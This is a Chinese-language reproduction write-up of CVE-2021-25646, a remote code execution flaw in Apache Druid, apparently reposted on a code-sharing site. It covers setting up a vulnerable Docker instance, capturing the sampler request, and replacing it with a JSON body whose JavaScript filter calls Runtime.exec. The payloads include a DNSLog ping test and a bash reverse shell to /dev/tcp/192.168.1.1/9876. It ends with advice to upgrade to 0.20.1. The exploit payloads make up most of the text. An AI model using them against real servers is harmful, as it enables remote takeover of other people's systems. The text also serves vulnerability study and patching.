CVE-2021-25646:Apache Druid遠程命令執行漏洞復現


漏洞概述

Apache Druid 是一個分布式的數據處理系統。Apache Druid包括執行用戶提供的JavaScript的功能嵌入在各種類型請求中的代碼。在Druid 0.20.0及更低版本中,用戶發送惡意請求,利用Apache Druid漏洞可以執行任意代碼。攻擊者可直接構造惡意請求執行任意代碼,控制服務器。

影響版本

Apache Druid < 0.20.1

環境搭建

docker pull fokkodriesprong/docker-druid
docker run --rm -i -p 8888:8888 fokkodriesprong/docker-druid

漏洞復現

訪問8888端口,進入Apache Druid首頁:

點擊左上方Load data -> Local disk:

右側表單填入:
Base directory:
quickstart/tutorial/
File filter:
wikiticker-2015-09-12-sampled.json.gz

接下來一路點擊next,直到下一步是Filter時,抓取數據包:

此時替換數據包中POST的data數據,原始數據:

{"type":"index","spec":{"type":"index","ioConfig":{"type":"index","firehose":{"type":"local","baseDir":"quickstart/tutorial/","filter":"wikiticker-2015-09-12-sampled.json.gz"}},"dataSchema":{"dataSource":"sample","parser":{"type":"string","parseSpec":{"format":"json","timestampSpec":{"column":"time","format":"iso"},"dimensionsSpec":{}}},"transformSpec":{"transforms":[]}}},"samplerConfig":{"numRows":500,"timeoutMs":15000,"cacheKey":"4ddb48fdbad7406084e37a1b80100214"}}

替換后的數據:

{"type":"index","spec":{"type":"index","ioConfig":{"type":"index","firehose":{"type":"local","baseDir":"quickstart/tutorial/","filter":"wikiticker-2015-09-12-sampled.json.gz"}},"dataSchema":{"dataSource":"sample","parser":{"type":"string","parseSpec":{"format":"json","timestampSpec":{"column":"time","format":"iso"},"dimensionsSpec":{}}},"transformSpec":{"transforms":[],"filter":{"type":"javascript",
"function":"function(value){return java.lang.Runtime.getRuntime().exec('bash -i >& /dev/tcp/192.168.1.1/9876 0>&1')}",
"dimension":"added",
"":{
"enabled":"true"
}
}}}},"samplerConfig":{"numRows":500,"timeoutMs":15000,"cacheKey":"4ddb48fdbad7406084e37a1b80100214"}}

其中,執行命令的代碼為:

"function":"function(value){return java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash 0 echo bash -i >& /dev/tcp/192.168.1.1/9876 0>&1')}"

DNSLog測試

exec('ping xxx.dnslog.cn -c 1')

反彈shell

exec('/bin/bash -c $@|bash 0 echo bash -i >& /dev/tcp/192.168.1.1/9876 0>&1')

成功反彈shell。

修復建議

升級到最新版Apache Druid 0.20.1

下載鏈接:https://druid.apache.org/downloads.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM